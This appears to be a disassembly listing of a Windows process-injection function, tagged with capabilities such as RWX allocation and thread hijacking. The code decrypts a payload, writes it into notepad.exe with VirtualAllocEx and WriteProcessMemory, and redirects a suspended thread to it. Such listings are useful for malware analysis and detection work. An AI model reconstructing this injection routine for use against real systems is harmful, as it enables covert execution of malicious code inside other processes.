Function at 0x140001570
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push rbp
sub rsp, 0x520
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x4b0], rcx
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r8, rax
lea rax, [0x1400d1420]
mov rdx, rax
lea rax, str.debug.txt
mov rcx, rax
call sym.freopen
mov qword [rbp + 0x498], 0
mov dword [rbp + 0x494], 0
mov qword [rbp + 0x488], 0
mov qword [rbp + 0x480], 0
mov rax, qword [rbp + 0x4b0]
mov rax, qword [rax + 0x28]
mov rcx, rax
call method.Injector.FindTarget_char_const_
mov dword [rbp + 0x494], eax
lea rax, str.Payload_Before_decrypt:
mov rdx, rax
mov rax, qword [0x1400d71e0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, [method.std.hex_std::ios_base_]
mov rcx, rax
call method.std::ostream.operator___std::ios_base____std::ios_base__
mov rcx, rax
mov rax, qword [rbp + 0x4b0]
mov rax, qword [rax + 0x10]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____unsigned_char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
cmp dword [rbp + 0x494], 0
jne 0x1400016c1
lea rax, str.PID_of_notepad_was_not_found.
mov rdx, rax
mov rax, qword [0x1400d71e0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, str.Decryption_key_
mov rdx, rax
mov rax, qword [0x1400d71e0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x4b0]
mov rax, qword [rax + 8]
mov rdx, rax
lea rax, [0x1400d1475]
mov rcx, rax
call sym.printf_char_const__::_
mov eax, dword [rbp + 0x494]
mov r8d, eax
mov edx, 0
mov ecx, 0x43a
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x488], rax
cmp qword [rbp + 0x488], 0
je 0x14000192c
mov eax, dword [rbp + 0x494]
mov ecx, eax
call method.Injector.FindThread_unsigned_long_
mov qword [rbp + 0x480], rax
cmp qword [rbp + 0x480], 0
je 0x14000173b
lea rax, str.Passed_FindThread
mov rdx, rax
mov rax, qword [0x1400d71e0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, str.Suspended_thread
mov rdx, rax
mov rax, qword [0x1400d71e0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x4b0]
mov rcx, rax
call method.Injector.Decrypt__
mov rax, qword [rbp + 0x4b0]
mov eax, dword [rax + 0x18]
mov edx, eax
mov rax, qword [rbp + 0x488]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x498], rax
lea rax, str.VirtualAllocEx_allocated_at_address:
mov rdx, rax
mov rax, qword [0x1400d71e0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x498]
mov rdx, rax
call method.std::ostream.operator___void_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, str.Payload_after_decryption
mov rdx, rax
mov rax, qword [0x1400d71e0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x4b0]
mov rax, qword [rax + 0x10]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____unsigned_char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x4b0]
mov eax, dword [rax + 0x18]
mov r8d, eax
mov rax, qword [rbp + 0x4b0]
mov rcx, qword [rax + 0x10]
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x488]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp - 0x20], 0x10000b
mov rax, qword [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SuspendThread]
call rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
mov rax, qword [rbp + 0x498]
mov qword [rbp + 0xa8], rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x488]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.Should_have_ended_correctly.
mov rdx, rax
mov rax, qword [0x1400d71e0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x140001957
lea rax, str.Failed_to_OpenProcess_on_notepad.exe
mov rdx, rax
mov rax, qword [0x1400d71e0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
nop
add rsp, 0x520
pop rbp
ret